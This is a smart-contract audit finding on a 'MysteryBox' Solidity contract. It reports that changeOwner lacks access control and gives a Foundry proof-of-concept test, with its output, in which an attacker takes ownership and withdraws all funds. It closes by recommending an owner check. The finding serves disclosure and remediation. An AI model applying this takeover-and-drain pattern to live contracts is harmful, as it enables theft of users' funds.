Summary
The changeOwner function lacks proper access control, enabling any user to claim ownership of the contract and withdraw all funds.
https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L111-L113
Vulnerability Details
There's no access control in changeOwner function, causing the function opens to anyone to change ownership to themselves and exploiting the contract, withdrawing all contract funds with ease.
<@@>! function changeOwner(address _newOwner) public {
owner = _newOwner;
}
Proof of concept:
In test\TestMysteryBox.t.sol, modify setUp and add new test test_audit_noAccessControlInChangeOwner
function setUp() public {
owner = makeAddr("owner");
user1 = address(0x1);
user2 = address(0x2);
vm.deal(owner, 20 ether);
vm.startPrank(owner);
mysteryBox = new MysteryBox{value: 10 ether}();
vm.stopPrank();
}
function test_audit_noAccessControlInChangeOwner() public {
address attacker = makeAddr("Attacker");
console.log("attacker balance before call to changeOwner: ", attacker.balance);
console.log("mysteryBox balance before call to changeOwner: ", address(mysteryBox).balance);
vm.startPrank(attacker);
mysteryBox.changeOwner(attacker);
mysteryBox.withdrawFunds();
vm.stopPrank();
console.log("attacker balance after call to changeOwner: ", attacker.balance);
console.log("mysteryBox balance after call to changeOwner: ", address(mysteryBox).balance);
assertEq(attacker.balance, 10 ether);
assertEq(address(mysteryBox).balance, 0);
}
2.Run the test
$ forge test --match-test test_audit_noAccessControlInChangeOwner -vv
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.26
[⠢] Solc 0.8.26 finished in 1.05s
Compiler run successfully
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] test_audit_noAccessControlInChangeOwner() (gas: 58564)
Logs:
Reward Pool Length: 4
attacker balance before call to changeOwner : 0
mysteryBox balance before call to changeOwner: 10000000000000000000
attacker balance after call to changeOwner : 10000000000000000000
mysteryBox balance after call to changeOwner : 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 759.50µs (120.33µs CPU time)
Ran 1 test suite in 113.93ms (759.50µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
The test passed indicating that an attacker can easily change the ownership of the contract to themselves and withdraw all contract funds.
Impact
Loss of contract control and contract funds
Tools Used
Manual review with test
Recommendations
Implement access control to this critical function
function changeOwner(address _newOwner) public {
+ require(msg.sender == owner);
owner = _newOwner;
}
